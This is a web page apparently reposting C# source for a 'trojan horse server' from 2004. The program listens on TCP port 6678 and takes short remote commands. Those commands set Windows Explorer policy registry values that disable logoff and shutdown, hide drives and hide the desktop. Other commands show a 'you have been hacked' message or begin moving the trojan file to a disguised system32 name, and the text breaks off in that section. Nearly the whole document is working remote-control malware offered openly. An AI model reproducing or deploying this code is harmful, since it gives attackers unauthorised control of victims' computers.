<script src="/adfile/neirong.js" type="text/javascript"></script>

特洛伊木马服务器
//wgscd 2004-12 QQ:153964481
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Microsoft.Win32;

namespace server
{
/// <summary>
/// Form1 的摘要说明。
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
/// <summary>
/// 必需的设计器变量。
/// </summary>
private System.ComponentModel.Container components = null;

private TcpListener listener;
private string mystr="您好!非常抱歉,您的注册表:";
private RegistryKey rrr=Registry.LocalMachine;
private RegistryKey key1;

public Form1()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
{int port =6678;
listener=new TcpListener(port);
listener.Start();

Thread thread=new Thread(new ThreadStart(target));
thread.Start();

}

//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
public void target()
{

Socket socket= listener.AcceptSocket();

while(socket.Connected)
{

byte[] by=new Byte[6];
int i=socket.Receive(by,by.Length,0);

string ss=System.Text.Encoding.ASCII.GetString(by);
//OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO

//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="jiance")
{
string str="hjc";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}
if(ss=="zx1000")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",1);
key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff被修改!请将它置为0!";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",1);
key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff被修改!请将它置为0!";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if(ss=="")
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
//****************************************************************************
if(ss=="zx0100")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoClose",1);
key1.Close();
mystr=mystr+"LocalMachine//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose被修改!请将它置为0!";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoClose",1);
key2.Close();
mystr=mystr+"LocalMachine//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose被修改!请将它置为0!";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if(ss=="zx0100"){
//****************************************************************************

//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if(ss=="zx0010")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoDrives",12);
key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoDrives被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoDrives",12);
key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoDrives被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//====================================================================

if(ss=="zx0001")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoDesktop",1);
key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoDesktop被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoDesktop",1);
key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoDesktop被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//=========================================================================
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

if(ss=="zx1100")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",1);
key1.SetValue("NoClose",1);
key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoClose",1);
key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="zx1010")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",1);
key1.SetValue("NoDrives",12);
key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoDrives被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoDrives",12);
key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoDrives被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//**************************************************
if(ss=="zx1001")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//policies//Explorer",true);

key1.SetValue("NoLogOff",1);
key1.SetValue("NoDesktop",1);
key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoDesktop被修改!请将它置为0";

}
catch(Exception ee){MessageBox.Show(ee.Message);}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",1);
key2.SetValue("NoDesktop",1);
key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoDesktop被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//********************************************
if(ss=="zx0110")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoClose",1);
key1.SetValue("NoDrives",12);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose、NoDrives被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoClose",1);
key2.SetValue("NoDrives",12);

key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose、NoDrives被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//********************************************
if(ss=="zx0101")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoClose",1);
key1.SetValue("NoDesktop",1);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose、NoDesktop被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoClose",1);
key2.SetValue("NoDesktop",1);

key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose、、NoDesktop被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//********************************
if(ss=="zx0011")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoDrives",12);
key1.SetValue("NoDesktop",1);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoDrives、NoDesktop被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoDrives",12);
key2.SetValue("NoDesktop",1);

key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoDrives、NoDesktop被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//************************************
if(ss=="zx1110")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",1);
key1.SetValue("NoClose",1);
key1.SetValue("NoDrives",12);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",1);
key2.SetValue("NoClose",1);
key2.SetValue("NoDrives",12);

key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//**************************************
if(ss=="zx1101")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",1);
key1.SetValue("NoClose",1);
key1.SetValue("NoDesktop",1);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",1);
key2.SetValue("NoClose",1);
key2.SetValue("NoDesktop",1);

key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//******************************************
if(ss=="zx1011")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",1);
key1.SetValue("NoDrives",12);
key1.SetValue("NoDesktop",1);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",1);
key2.SetValue("NoDrives",12);
key2.SetValue("NoDesktop",1);

key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//********************************************
if(ss=="zx0111")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoDrives",12);
key1.SetValue("NoClose",1);
key1.SetValue("NoDesktop",1);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoDrives",12);
key2.SetValue("NoClose",1);
key2.SetValue("NoDesktop",1);

key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//********************************************
if(ss=="zx1111")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",1);
key1.SetValue("NoClose",1);
key1.SetValue("NoDrives",12);
key1.SetValue("NoDesktop",1);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",1);
key2.SetValue("NoClose",1);
key2.SetValue("NoDrives",12);
key2.SetValue("NoDesktop",1);

key2.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0";

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//*********************************************
//OOOOOOOOOOOOOOOOOOOOOOOOOOO以上是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO

//PPPPPPPPPPPPPPPPPPPPPPPPPPPP以下是善意修改部分PPPPPPPPPPPPPPPPPPPPPPPPPPPPP

//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

if(ss=="zs1000")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",0);
key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",0);
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if(ss=="")
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
//***********************************************************************
if(ss=="zs0100")
{
try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoClose",0);
key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoClose",0);
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if(ss=="zx0100"){
//********************************************************************
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if(ss=="zs0010")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoDrives",0);
key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoDrives",0);
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//==================================================================

if(ss=="zs0001")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoDesktop",0);
key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoDesktop",0);
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//=========================================================================
if(ss=="zs1100")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",0);
key1.SetValue("NoClose",0);
key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoClose",0);
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="zs1010")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",0);
key1.SetValue("NoDrives",0);
key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoDrives",0);
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//**************************************************
if(ss=="zs1001")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",0);
key1.SetValue("NoDesktop",0);
key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",0);
key2.SetValue("NoDesktop",0);
key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//********************************************
if(ss=="zs0110")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoClose",0);
key1.SetValue("NoDrives",0);

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoClose",0);
key2.SetValue("NoDrives",0);

key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//********************************************
if(ss=="zs0101")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoClose",0);
key1.SetValue("NoDesktop",0);

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoClose",0);
key2.SetValue("NoDesktop",0);

key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//********************************
if(ss=="zs0011")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoDrives",0);
key1.SetValue("NoDesktop",0);

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoDrives",0);
key2.SetValue("NoDesktop",0);

key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//************************************
if(ss=="zs1110")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",0);
key1.SetValue("NoClose",0);
key1.SetValue("NoDrives",0);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",0);
key2.SetValue("NoClose",0);
key2.SetValue("NoDrives",0);

key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//**************************************
if(ss=="zs1101")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",0);
key1.SetValue("NoClose",0);
key1.SetValue("NoDesktop",0);

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",0);
key2.SetValue("NoClose",0);
key2.SetValue("NoDesktop",0);

key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//******************************************
if(ss=="zs1011")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",0);
key1.SetValue("NoDrives",0);
key1.SetValue("NoDesktop",0);

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",0);
key2.SetValue("NoDrives",0);
key2.SetValue("NoDesktop",0);

key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//********************************************
if(ss=="zs0111")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoDrives",0);
key1.SetValue("NoClose",0);
key1.SetValue("NoDesktop",0);

key1.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoDrives",0);
key2.SetValue("NoClose",0);
key2.SetValue("NoDesktop",0);

key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if
//********************************************
if(ss=="zs1111")
{

try
{
key1=rrr.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);

key1.SetValue("NoLogOff",0);
key1.SetValue("NoClose",0);
key1.SetValue("NoDrives",0);
key1.SetValue("NoDesktop",0);

key1.Close();

}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=rrr.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");

key2.SetValue("NoLogOff",0);
key2.SetValue("NoClose",0);
key2.SetValue("NoDrives",0);
key2.SetValue("NoDesktop",0);

key2.Close();

}//try
catch{}
}//if(key1==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);

}//if

//PPPPPPPPPPPPPPPPPPPPPPPPPPPP以上是善意修改部分PPPPPPPPPPPPPPPPPPPPPPPPPP

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>以下是警告>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
if(ss=="jg0000")
{
MessageBox.Show("你被我黑了!");
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>以上是警告>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&以下是建议&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="jy0000")
{
MessageBox.Show(mystr);
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&以上是建议&&&&&&&&&&&&&&&&&&&&&&&&&&&

//##################################以下是修改木马位置###################
//||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
if(ss=="mw1000")
{
try{ File.Move("c://winnt//system//expleror.exe","c://winnt//system32//msdoss.exe");}
catch{}

try
{
